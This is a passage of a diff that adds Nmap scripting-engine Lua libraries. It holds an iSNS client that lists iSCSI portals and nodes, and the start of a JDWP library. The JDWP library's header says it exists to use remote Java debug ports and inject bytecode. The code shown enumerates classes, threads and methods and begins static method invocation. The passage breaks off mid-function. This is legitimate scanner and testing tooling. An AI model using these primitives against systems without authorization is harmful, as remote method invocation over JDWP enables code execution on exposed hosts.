+ -- @param data string containing an opaque string of raw data
+ -- @return attr new instance of Attribute
+ parse = function(data)
+ local attr = Attribute:new()
+
+ attr.tag, attr.val = string.unpack(">I4s4", data)
+
+ return attr
+ end,
+
+ --
+ -- Converts the instance to an opaque string
+ -- @return str containing an opaque string
+ __tostring = function(self)
+ return string.pack(">I4s4", self.tag, self.val)
+ end,
+
+}
+
+Attributes = {
+
+ --
+ -- Creates a new Attributes table
+ -- @return o new instance of Attributes
+ new = function(self)
+ local o = { attribs = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --
+ -- Adds a new Attribute to the table
+ -- @param tag number containing the tag number
+ -- @param val string containing the tag value
+ add = function(self, tag, val)
+ table.insert(self, Attribute:new(tag, val))
+ end,
+
+ --
+ -- Converts the instance to an opaque string
+ -- @return str containing an opaque string
+ __tostring = function(self)
+ local str = ""
+ for _, attr in ipairs(self) do
+ str = str .. tostring(attr)
+ end
+ return str
+ end,
+
+}
+
+Request = {
+
+ FuncId = {
+ DevAttrReg = 0x0001,
+ DevAttrQry = 0x0002,
+ DevGetNext = 0x0003,
+ DevDereg = 0x0004,
+ SCNReg = 0x0005,
+ SCNDereg = 0x0006,
+ SCNEvent = 0x0007,
+ SCN = 0x0008,
+ DDReg = 0x0009,
+ DDDereg = 0x000A,
+ DDSReg = 0x000B,
+ DDSDereg = 0x000C,
+ ESI = 0x000D,
+ Heartbeat = 0x000E,
+ },
+
+ --
+ -- Creates a new Request message
+ -- @param func_id number containing the function ID of the message
+ -- @param flags number containing the message flags
+ -- @param data string containing the opaque raw data
+ -- @param auth string containing the opaque raw auth data
+ -- @param trans_id number containing the transaction id
+ -- @param seq_id number containing the sequence id
+ -- @return o new instance of Request
+ new = function(self, func_id, flags, data, auth, trans_id, seq_id)
+ local o = {
+ header = Header:new(func_id, ( data and #data ) or 0, flags, ( trans_id or -1 ), ( seq_id or -1 )),
+ data = data or ""
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --
+ -- Converts the instance to an opaque string
+ -- @return str containing an opaque string
+ __tostring = function(self)
+ return tostring(self.header) .. tostring(self.data) ..
+ ( self.auth and self.auth or "" )
+ end,
+
+
+}
+
+Response = {
+
+ Error = {
+ [0] = "Successful",
+ [1] = "Unknown Error",
+ [2] = "Message Format Error",
+ [3] = "Invalid Registration",
+ [4] = "RESERVED",
+ [5] = "Invalid Query",
+ [6] = "Source Unknown",
+ [7] = "Source Absent",
+ [8] = "Source Unauthorized",
+ [9] = "No Such Entry",
+ [10] = "Version Not Supported",
+ [11] = "Internal Error",
+ [12] = "Busy",
+ [13] = "Option Not Understood",
+ [14] = "Invalid Update",
+ [15] = "Message (FUNCTION_ID) Not Supported",
+ [16] = "SCN Event Rejected",
+ [17] = "SCN Registration Rejected",
+ [18] = "Attribute Not Implemented",
+ [19] = "FC_DOMAIN_ID Not Available",
+ [20] = "FC_DOMAIN_ID Not Allocated",
+ [21] = "ESI Not Available",
+ [22] = "Invalid Deregistration",
+ [23] = "Registration Feature Not Supported",
+ },
+
+ --
+ -- Creates a new Response instance
+ -- @return o new instance of Response
+ new = function(self)
+ local o = { attrs = Attributes:new() }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --
+ -- Creates a new Response instance
+ --
+ -- @param data string containing an opaque string of raw data
+ -- @return attr new instance of Response
+ parse = function(data)
+ local hdr = Header.parse(data)
+ local pos = #(tostring(hdr)) + 1
+ local resp = Response:new()
+
+ resp.error, pos = string.unpack(">I4", data, pos)
+ if ( resp.error ~= 0 ) then
+ return resp
+ end
+
+ while( pos < #data ) do
+ local tag, val
+ tag, val, pos = string.unpack(">I4s4", data, pos)
+ resp.attrs:add(tag, val)
+ end
+ return resp
+ end,
+
+}
+
+
+Session = {
+
+ --
+ -- Creates a new Session instance
+ -- @param host table
+ -- @param port table
+ -- @return o instance of Session
+ new = function(self, host, port)
+ local o = {
+ host = host,
+ port = port,
+ seq_id = 0,
+ trans_id = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --
+ -- Connects to the server
+ -- @return status true on success, false on failure
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(5000)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ --
+ -- Sends data to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message on failure
+ send = function(self, req)
+ if ( not(req.header) or not(req.header.seq_id) or not(req.header.trans_id) ) then
+ return false, "Failed to send invalid request"
+ end
+
+ -- update the sequence and transaction ID's
+ req.header.seq_id = self.seq_id
+ req.header.trans_id = self.trans_id
+
+ local status, err = self.socket:send(tostring(req))
+ self.trans_id = self.trans_id + 1
+
+ return status, err
+ end,
+
+ --
+ -- Receives data from the server
+ -- @return status true on success, false on failure
+ -- @return response instance of response
+ receive = function(self)
+ -- receive the 24 byte header
+ local status, buf_hdr = self.socket:receive_buf(match.numbytes(12), true)
+ if ( not(status) ) then
+ return status, buf_hdr
+ end
+
+ local hdr = Header.parse(buf_hdr)
+
+ -- receive the data
+ local buf_data = nil
+ status, buf_data = self.socket:receive_buf(match.numbytes(hdr.pdu_len), true)
+ if ( not(status) ) then
+ return status, buf_data
+ end
+
+ return true, Response.parse(buf_hdr .. buf_data)
+ end,
+
+ close = function(self)
+ return self.close()
+ end
+}
+
+
+Helper = {
+
+ --
+ -- Creates a new Helper instance
+ -- @param host param
+ -- @param port param
+ -- @return o new instance of Helper
+ new = function(self, host, port)
+ local o = { session = Session:new(host, port) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --
+ -- Connects to the server
+ -- @return status true on success, false on failure
+ connect = function(self)
+ return self.session:connect()
+ end,
+
+ --
+ -- Lists portals
+ -- @return status true on success, false on failure
+ -- @return results list of iSCSI nodes, err string on failure
+ listPortals = function(self)
+ local attribs, name = Attributes:new(), "iqn.control.node\0por"
+
+ attribs:add(Attribute.Tag.ISNS_TAG_ISCSI_NAME, name)
+ attribs:add(Attribute.Tag.ISNS_TAG_PORTAL_IP_ADDRESS)
+ attribs:add(Attribute.Tag.ISNS_TAG_DELIMITER)
+ attribs:add(Attribute.Tag.ISNS_TAG_PORTAL_IP_ADDRESS)
+ attribs:add(Attribute.Tag.ISNS_TAG_PORTAL_TCP_UDP_PORT)
+ attribs:add(Attribute.Tag.ISNS_TAG_ENTITY_IDENTIFIER)
+
+ local flags = 0x8c00 -- Sender is iSNS client, Last PDU, First PDU
+
+ local req = Request:new(Request.FuncId.DevAttrQry, flags, tostring(attribs))
+ if ( not(self.session:send(req)) ) then
+ return false, "Failed to send message to server"
+ end
+
+ local status, resp = self.session:receive()
+ if ( not(status) ) then
+ return false, "Failed to receive message from server"
+ end
+
+ local results = {}
+ local addr, proto, port
+ for _, attr in ipairs(resp.attrs) do
+ if ( attr.tag == Attribute.Tag.ISNS_TAG_PORTAL_IP_ADDRESS ) then
+ addr = attr.val
+ local is_ipv4 = string.unpack("c12", addr)
+ if ( is_ipv4 == "\0\0\0\0\0\0\0\0\0\0\xFF\xFF" ) then
+ addr = ipOps.str_to_ip(addr:sub(13, 16))
+ else
+ addr = ipOps.str_to_ip(addr:sub(1,16))
+ end
+ elseif ( attr.tag == Attribute.Tag.ISNS_TAG_PORTAL_TCP_UDP_PORT ) then
+ local s1
+ s1, port = string.unpack(">I2I2", attr.val)
+
+ if ( s1 == 1 ) then
+ proto = "udp"
+ elseif ( s1 == 0 ) then
+ proto = "tcp"
+ else
+ proto = "UNKNOWN"
+ end
+ elseif ( addr and proto and port ) then
+ table.insert(results, { addr = addr, proto = proto, port = port } )
+ addr, proto, port = nil, nil, nil
+ end
+ end
+ return true, results
+ end,
+
+ --
+ -- Lists iSCSI nodes
+ -- @return status true on success, false on failure
+ -- @return results list of iSCSI nodes, err string on failure
+ listISCINodes = function(self)
+ local attribs = Attributes:new()
+ local name = "iqn.control.node\0por"
+ attribs:add(Attribute.Tag.ISNS_TAG_ISCSI_NAME, name)
+ attribs:add(Attribute.Tag.ISNS_TAG_ISCSI_NAME)
+ attribs:add(Attribute.Tag.ISNS_TAG_DELIMITER)
+ attribs:add(Attribute.Tag.ISNS_TAG_ISCSI_NAME)
+ attribs:add(Attribute.Tag.ISNS_TAG_ISCSI_NODE_TYPE)
+
+ local flags = 0x8c00 -- Sender is iSNS client, Last PDU, First PDU
+
+ local req = Request:new(Request.FuncId.DevAttrQry, flags, tostring(attribs))
+ if ( not(self.session:send(req)) ) then
+ return false, "Failed to send message to server"
+ end
+
+ local status, resp = self.session:receive()
+ if ( not(status) ) then
+ return false, "Failed to receive message from server"
+ end
+
+ local name, ntype
+ local results = {}
+ for _, attr in ipairs(resp.attrs) do
+ if ( attr.tag == Attribute.Tag.ISNS_TAG_ISCSI_NAME ) then
+ name = string.unpack("z", attr.val)
+ elseif( attr.tag == Attribute.Tag.ISNS_TAG_ISCSI_NODE_TYPE ) then
+ local val = string.unpack(">I4", attr.val)
+ if ( val == iSCSI.NodeType.CONTROL ) then
+ ntype = "Control"
+ elseif ( val == iSCSI.NodeType.INITIATOR ) then
+ ntype = "Initiator"
+ elseif ( val == iSCSI.NodeType.TARGET ) then
+ ntype = "Target"
+ else
+ ntype = "Unknown"
+ end
+ end
+ if ( name and ntype ) then
+ table.insert(results, { name = name, type = ntype })
+ name, ntype = nil, nil
+ end
+ end
+ return true, results
+ end,
+
+ close = function(self)
+ return self.session:close()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/jdwp.lua b/nselib/jdwp.lua
new file mode 100644
index 0000000..51f4b27
--- /dev/null
+++ b/nselib/jdwp.lua
@@ -0,0 +1,1079 @@
+--- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to
+-- use remote debugging port and inject java bytecode.
+--
+-- There are two basic packet types in JDWP protocol.
+-- Command packet and reply packet. Command packets are sent by
+-- a debugger to a remote port which replies with a reply packet.
+--
+-- Simple handshake is needed to start the communication.
+-- The debugger sends a "JDWP-Handshake" string and gets the same as a reply.
+-- Each (command and reply packet) has an id field since communication can be asynchronous.
+-- Packet id can be monotonicaly increasing.
+-- Although communication can be asynchronous, it is not (at least in my tests) so the same
+-- packet id can be used for all communication.
+--
+-- To start the connection, script should call <code>jdwp.connect()</code> which returns success
+-- status and a socket. All other protocol functions require a socket as their first parameter.
+--
+-- Example of initiating connection:
+-- <code>
+-- local status,socket = jdwp.connect(host,port)
+-- if not status then
+-- stdnse.debug1("error, %s",socket)
+-- end
+-- local version_info
+-- status, version_info = jdwp.getVersion(socket,0)
+-- </code>
+--
+-- References:
+-- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
+--
+--@copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--@author Aleksandar Nikolic
+--
+-- Version 0.1
+-- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic
+
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local nmap = require "nmap"
+
+_ENV = stdnse.module("jdwp", stdnse.seeall)
+
+-- JDWP protocol specific constants
+JDWP_CONSTANTS = {
+ handshake = "JDWP-Handshake" -- Connection initialization handshake
+}
+
+-- List of error codes from:
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error
+ERROR_CODES = {
+ [0] = "NONE No error has occurred.",
+ [10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.",
+ [11] = "INVALID_THREAD_GROUP Thread group invalid.",
+ [12] = "INVALID_PRIORITY Invalid priority.",
+ [13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.",
+ [14] = "THREAD_SUSPENDED Thread already suspended.",
+ [20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.",
+ [21] = "INVALID_CLASS Invalid class.",
+ [22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.",
+ [23] = "INVALID_METHODID Invalid method.",
+ [24] = "INVALID_LOCATION Invalid location.",
+ [25] = "INVALID_FIELDID Invalid field.",
+ [30] = "INVALID_FRAMEID Invalid jframeID.",
+ [31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.",
+ [32] = "OPAQUE_FRAME Information about the frame is not available.",
+ [33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.",
+ [34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.",
+ [35] = "INVALID_SLOT Invalid slot.",
+ [40] = "DUPLICATE Item already set.",
+ [41] = "NOT_FOUND Desired element not found.",
+ [50] = "INVALID_MONITOR Invalid monitor.",
+ [51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.",
+ [52] = "INTERRUPT The call has been interrupted before completion.",
+ [60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.",
+ [61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.",
+ [62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.",
+ [63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.",
+ [64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.",
+ [65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.",
+ [66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.",
+ [67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.",
+ [68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.",
+ [69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.",
+ [70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.",
+ [71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.",
+ [99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.",
+ [100] = "NULL_POINTER Invalid pointer.",
+ [101] = "ABSENT_INFORMATION Desired information is not available.",
+ [102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.",
+ [103] = "ILLEGAL_ARGUMENT Illegal argument.",
+ [110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.",
+ [111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.",
+ [112] = "VM_DEAD The virtual machine is not running.",
+ [113] = "INTERNAL An unexpected internal error has occurred.",
+ [115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.",
+ [500] = "INVALID_TAG object type id or class tag.",
+ [502] = "ALREADY_INVOKING Previous invoke not complete.",
+ [503] = "INVALID_INDEX Index is invalid.",
+ [504] = "INVALID_LENGTH The length is invalid.",
+ [506] = "INVALID_STRING The string is invalid.",
+ [507] = "INVALID_CLASS_LOADER The class loader is invalid.",
+ [508] = "INVALID_ARRAY The array is invalid.",
+ [509] = "TRANSPORT_LOAD Unable to load the transport.",
+ [510] = "TRANSPORT_INIT Unable to initialize the transport.",
+ [511] = "NATIVE_METHOD",
+ [512] = "INVALID_COUNT The count is invalid."
+}
+
+-- JDWP protocol Command packet as described at
+-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
+-- Each command packet has a Command Set number, Command Number and data required
+-- for that command.
+JDWPCommandPacket = {
+
+ new = function(self,id,command_set,command, data)
+ local o = {
+ id = id,
+ flags = 0, -- current specification has no flags defined for Command Packets
+ command_set = command_set,
+ command = command,
+ data = data
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Packs command packet as a string od bytes, ready to be sent
+ -- to the target debuggee.
+ pack = function(self)
+ local data = self.data or ""
+ return string.pack(">I4I4BBB",
+ 11 + #data, -- length - minimal header is 11 bytes
+ self.id,
+ 0, -- flag
+ self.command_set,
+ self.command)
+ .. data
+ end
+}
+
+-- JDWP protocol Reply packet as described at
+-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
+-- Reply packets are recognized by 0x80 in flag field.
+JDWPReplyPacket = {
+
+ new = function(self,length,id,error_code,data)
+ local o = {
+ length = length,
+ id = id,
+ flags = 0x80, -- no other flag is currently specified in the specification
+ error_code = error_code, -- see ERROR_CODES table
+ data = data -- reply data, contents depend on the command
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses the reply into JDWPReplyPacket table.
+ parse_reply = function(self,reply_packet)
+ local length, id, flags, error_code, pos = string.unpack(">I4I4BI2", reply_packet)
+ local data = string.sub(reply_packet, pos)
+ if flags == 0x80 then
+ return true, JDWPReplyPacket:new(length,id,error_code,data)
+ end
+ stdnse.debug2("JDWP error parsing reply. Wrong reply packet flag. Raw data: %s", stdnse.tohex(reply_packet))
+ return false, "JDWP error parsing reply."
+ end
+
+}
+
+--- Negotiates the initial debugger-debuggee handshake.
+--
+--@param host Host to connect to.
+--@param port Port to connect to.
+--@return (status,socket) If status is false, socket is error message, otherwise socket is
+-- a newly created socket with initial handshake finished.
+function connect(host,port)
+ local status, result,err
+ local socket = nmap.new_socket("tcp")
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host, port)
+ if not status then
+ stdnse.debug2("JDWP could not connect: %s",err)
+ return status, err
+ end
+ status, err = socket:send(JDWP_CONSTANTS.handshake)
+ if not status then
+ stdnse.debug2("JDWP could not send handshake: %s",err)
+ return status, err
+ end
+ status, result = socket:receive()
+ if not status then
+ stdnse.debug2("JDWP could not receive handshake: %s",result)
+ return status, result
+ end
+ if result == JDWP_CONSTANTS.handshake then
+ stdnse.debug1("JDWP handshake successful.")
+ return true, socket
+ end
+ return false, "JDWP handshake unsuccessful."
+end
+
+--- Helper function to pack regular string into UTF-8 string.
+--
+--@param data String to pack into UTF-8.
+--@return utf8_string UTF-8 packed string. Four bytes length followed by the string its self.
+function toUTF8(data)
+ local utf8_string = string.pack(">s4", data)
+ return utf8_string
+end
+
+--- Helper function to read all Reply packed data which might be fragmented
+-- over multiple packets.
+--
+--@param socket Socket to receive from.
+--@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes.
+function receive_all(socket)
+ local status, result = socket:receive_bytes(4)
+ if not status then
+ return false,result
+ end
+ local data = result
+ local expected_length = string.unpack(">I4",result) -- first 4 bytes of packet data is the ReplyPacket length
+ while expected_length > #data do -- read until we get all the ReplyPacket data
+ status,result = socket:receive_bytes(expected_length - #data)
+ if not status then
+ return true, data -- if something is wrong, return partial data
+ end
+ data = data .. result
+ end
+ return true,data
+end
+
+--- Helper function to extract ascii string from UTF-8
+--
+-- Written in this way so it can be used interchangeably with bin\.unpack().
+--
+--@param data Data from which to extract the string.
+--@param pos Offset into data string where to begin.
+--@return (pos,ascii_string) Returns position where the string extraction ended and actual ascii string.
+local function extract_string(data,pos)
+ local string_size
+ if pos > #data then
+ stdnse.debug2("JDWP extract_string() position higher than data length, probably incomplete data received.")
+ return pos, nil
+ end
+ string_size, pos = string.unpack(">I4",data,pos)
+ local ascii_string = string.sub(data,pos,pos+string_size)
+ local new_pos = pos+string_size
+ return new_pos,ascii_string
+end
+
+
+--- Helper function that sends the Command packet and parses the reply.
+--
+--@param socket Socket to use to send the command.
+--@param command <code>JDWPCommandPacket</code> to send.
+--@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply.
+function executeCommand(socket,command)
+ socket:send(command:pack())
+ local status, result = receive_all(socket)
+ if not status then
+ return false, "JDWP executeCommand() didn't get a reply."
+ end
+ local reply_packet
+ status, reply_packet = JDWPReplyPacket:parse_reply(result)
+ if not status then
+ return false, reply_packet
+ end
+ if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occurred
+ return false, ERROR_CODES[reply_packet.error_code]
+ end
+ local data = reply_packet.data
+ return true, data
+end
+
+--- VirtualMachine Command Set (1)
+-- Commands targeted at the debuggee virtual machine.
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine
+
+
+--- Version Command (1)
+-- Returns the JDWP version implemented by the target VM as a table.
+--
+-- Returns a table with following values:
+-- * 'description' Debugger vm verbose description.
+-- * 'jdwpMajor' Number representing major JDWP version.
+-- * 'jdwpMinor' Number representing minor JDWP version.
+-- * 'vmVersion' String representing version of the debuggee VM.
+-- * 'vmName' Name of the debuggee VM.
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info.
+function getVersion(socket,id)
+ local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getVersion() error : %s",data)
+ return false,data
+ end
+ -- parse data
+ local version_info = {description = "",
+ jdwpMajor = 0,
+ jdwpMinor = 0,
+ vmVersion = "",
+ vmName = ""}
+ local vmVersionSize
+ local pos
+ pos, version_info.description = extract_string(data,0)
+ version_info.jdwpMajor, version_info.jdwpMinor, pos = string.unpack(">i4i4", data, pos)
+ pos, version_info.vmVersion = extract_string(data,pos)
+ pos, version_info.vmName = extract_string(data,pos)
+ return true, version_info
+end
+
+--- Classes by Signature command (2)
+-- Returns reference types for all the classes loaded by the target VM which match the given signature.
+--
+-- Given the class signature (like "Ljava/lang/Class") returns its reference ID which can be used to reference that class
+-- in other commands. Returns a list of tables containing following values:
+-- * 'refTypeTag' JNI type tag
+-- * 'referenceTypeID' Reference type of the class
+-- * 'status' Current class status.
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param signature Signature of the class.
+--@return (status,classes) If status is false, classes is an error string, else it contains list of found classes.
+function getClassBySignature(socket,id,signature)
+ local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature))
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getClassBySignature() error : %s",data)
+ return false,data
+ end
+ -- parse data
+ local classes = {}
+ local number_of_classes, pos = string.unpack(">i4", data)
+
+ for i = 1, number_of_classes do
+ local class_info = {
+ refTypeTag = nil,
+ referenceTypeID = nil,
+ status = nil
+ }
+ class_info.refTypeTag, class_info.referenceTypeID, class_info.status, pos = string.unpack(">bI8i4", data, pos)
+ table.insert(classes,class_info)
+ end
+ return true, classes
+end
+
+--- AllThreads Command (4)
+-- Returns all threads currently running in the target VM .
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@return (status, threads) If status is false threads contains an error string, else it contains a list of all threads in the debuggee VM.
+function getAllThreads(socket,id)
+ local command = JDWPCommandPacket:new(id,1,4,nil)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getAllThreads() error: %s", data)
+ return false,data
+ end
+ -- parse data
+ local number_of_threads, pos = string.unpack(">i4", data)
+ local threads = {}
+ for i = 1, number_of_threads do
+ local thread
+ thread, pos = string.unpack(">I8", data, pos)
+ table.insert(threads,thread)
+ end
+ return true, threads
+end
+
+--- Resume Command (9)
+-- Resumes execution of the application after the suspend command or an event has stopped it.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply.
+function resumeVM(socket,id)
+ local command = JDWPCommandPacket:new(id,1,9,nil)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP resumeVM() error: %s", data)
+ return false,data
+ end
+ -- wait for event notification
+ status, data = receive_all(socket)
+ if not status then
+ stdnse.debug2("JDWP resumeVM() event notification failed: %s", data)
+ end
+ return true, nil
+end
+
+--- CreateString Command (11)
+-- Creates new string object in the debuggee VM.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param ascii_string String to create.
+--@return (status, stringID) If status is false error string is returned, else stringID is newly created string.
+function createString(socket,id,ascii_string)
+ local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string))
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP createString() error: %s", data)
+ return false,data
+ end
+ local stringID = string.unpack(">I8", data)
+ return true, stringID
+end
+
+--- AllClassesWithGeneric Command (20)
+-- Returns reference types and signatures for all classes currently loaded by the target VM.
+--
+-- Returns a list of tables containing following info:
+-- * 'refTypeTag' Kind of following reference type.
+-- * 'typeID' Loaded reference type
+-- * 'signature' The JNI signature of the loaded reference type.
+-- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none.
+-- * 'status' The current class status.
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information.
+function getAllClassesWithGeneric(socket,id)
+ local command = JDWPCommandPacket:new(id,1,20,nil)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getAllClassesWithGeneric() error: %s", data)
+ return false,data
+ end
+ -- parse data
+ local all_classes = {}
+ local number_of_classes, pos = string.unpack(">i4", data)
+
+ for i = 0 , number_of_classes do
+ local class = {
+ refTypeTag = nil,
+ typeID = nil,
+ signature = nil,
+ genericSignature = nil,
+ status = nil
+ }
+ if pos > #data then break end
+ class.refTypeTag, class.typeID, pos = string.unpack(">BI8", data, pos)
+ pos, class.signature = extract_string(data,pos)
+ pos, class.genericSignature = extract_string(data,pos)
+ class.status, pos = string.unpack(">i4", data, pos)
+ table.insert(all_classes,class)
+ end
+ return true, all_classes
+end
+
+--- ReferenceType Command Set (2)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType
+
+
+--- SignatureWithGeneric Command (13)
+-- Returns the JNI signature of a reference type.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param classID Reference type id of the class to get the signature from.
+--@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class").
+function getSignatureWithGeneric(socket,id,classID)
+ local command = JDWPCommandPacket:new(id, 2, 13, string.pack(">I8", classID)) -- Version Command (1)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getVersion() error : %s",data)
+ return false,data
+ end
+ local _,signature = extract_string(data,0)
+ -- parse data
+ return true,signature
+end
+
+--- MethodsWithGeneric Command (15)
+-- Returns information, including the generic signature if any, for each method in a reference type.
+--
+-- Returns a list of tables containing following fields for each method:
+-- * 'methodID' Method ID which can be used to call the method.
+-- * 'name' The name of the method.
+-- * 'signature' The JNI signature of the method.
+-- * 'generic_signature' The generic signature of the method, or an empty string if there is none.
+-- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration.
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param classID Reference type id of the class to get the list of methods.
+--@return (status, signature) If status is false methods contains an error string, else it a list of methods information.
+function getMethodsWithGeneric(socket,id,classID)
+ local command = JDWPCommandPacket:new(id, 2, 15, string.pack(">I8", classID))
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getMethodsWithGeneric() error : %s",data)
+ return false,data
+ end
+ -- parse data
+ local methods = {}
+ local number_of_methods, pos = string.unpack(">i4", data)
+
+ for i = 1, number_of_methods do
+ local method_info = {
+ methodID = nil,
+ name = nil,
+ signature = nil,
+ generic_signature = nil,
+ modBits = nil
+ }
+ method_info.methodID, pos = string.unpack(">i4", data, pos)
+ pos,method_info.name = extract_string(data,pos)
+ pos, method_info.signature = extract_string(data,pos)
+ pos,method_info.generic_signature = extract_string(data,pos)
+ method_info.modBits, pos = string.unpack(">i4", data, pos)
+ table.insert(methods,method_info)
+ end
+ return true, methods
+end
+
+--- ClassType Command Set (3)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType
+
+--- InvokeMethod Command (3)
+-- Invokes a class' static method and returns the reply data.
+--
+-- Reply data can vary so parsing is left to the function caller.
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param classID Reference type id of the class.
+--@param methodID ID of the static method to call.
+--@numberOfArguments Number of method arguments.
+--@arguments Already packed arguments.
+--@options Invocation options.
+--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manually.
+function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options)
+ local params
+ if numberOfArguments == 0 then
+ params = string.pack(">I8i4i4i4", classID, methodID, numberOfArguments, options)
+ else
